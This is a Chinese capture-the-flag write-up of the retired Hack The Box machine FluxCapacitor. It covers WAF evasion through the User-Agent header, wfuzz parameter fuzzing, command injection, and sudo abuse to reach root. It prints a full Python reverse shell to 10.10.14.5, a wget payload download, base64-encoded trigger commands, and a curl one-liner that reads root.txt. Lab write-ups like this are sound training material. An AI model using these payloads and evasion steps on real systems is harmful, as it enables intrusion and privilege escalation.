本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.69
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.69 -o ./FluxCapacitor-autorecon
就开了个80端口,访问看看
没发现啥东西,用burpsuite重放看看
发现提示含有sync路径,同时根据显示的响应信息,得知目标靶机存在SuperWAF,先访问看看
显示403,这个如果玩过WAF,就知道是显示被WAF拦截了,看到显示的403信息是openresty之类的,猜测可能就是基于openresty定制改版的WAF,那么我们需要绕过WAF ,下面是绕过WAF的两篇文章,是靶机作者提供的,具体链接如下:
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
经过大量测试,发现目标WAF会基于User-Agent进行判断识别进行拦截操作
更改User-Agent头发现就能正常访问,看上面的显示是一个日期时间,猜测有可能存在命令执行,也有可能存在shellshock,我们模糊测试命令执行看看,具体操作如下
wfuzz -c -L -t 500 --hh=19 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls | tee bmfxfuzz.log 参数解释: --hh=19 是表示HTTP响应Content-Length: 19的时候就隐藏 -t 500 指定并发连接数 -L 跟随HTTP重定向 -c 输出带颜色 -w 指定字典,也可以像下面使用方式一样使用-z参数然后带file指定字典 -u 指定url
也可以另外一种形式
wfuzz -c -L -t 500 --hh=BBB -H "User-Agent:bmfx" -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ{not_this}=test
最终确认存在命令执行的参数是opt ,但是我尝试执行下命令,发现被WAF拦截了
此时需要绕过,可以参考上面我提供的两个绕过WAF的文章,这里通过模糊测试挖掘出可进行绕过WAF的参数
wfuzz -c -L -t 500 -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ | tee bmfxchar_fuzz.log
通过上面就可以 知道哪些绕过字符可以使用,哪些不可以,经过测试确认可以使用反斜杠加空格进行绕过
既然可以命令执行,那么也顺便执行下sudo -l看看
发现存在一个隐藏文件可以通过sudo以root身份执行shell脚本代码,那么我们可以通过这种命令执行的方式直接反弹shell,操作之前先看看脚本内容
大概意思就是执行shell的第一个位置必须是cmd 后面的第二个参数会通过base64进行解码,解码完成之后就执行此shell代码,知道意思就好办,我们本地假设好简易web,然后做好python的反弹shell,再通过base64编码,得到如下结果:
反弹shell import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.5",8833)) #CHANGE THIS os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) base64编码 echo "wget 10.10.14.5/shellbmfx.py -P /tmp" | base64 d2dldCAxMC4xMC4xNC41L3NoZWxsYm1meC5weSAtUCAvdG1wCg==
查看是否成功
确认成功了,然后确认目标是python2版本还是python3版本
本地监听端口触发反弹shell代码
echo "python3 /tmp/shellbmfx.py" | base64 cHl0aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=
sudo /home/themiddle/.monit cmd cHl aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=
PS:本靶机还可以通过curl命令直接读取root.txt
curl -s "http://10.10.10.69/sync?opt='{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 }'"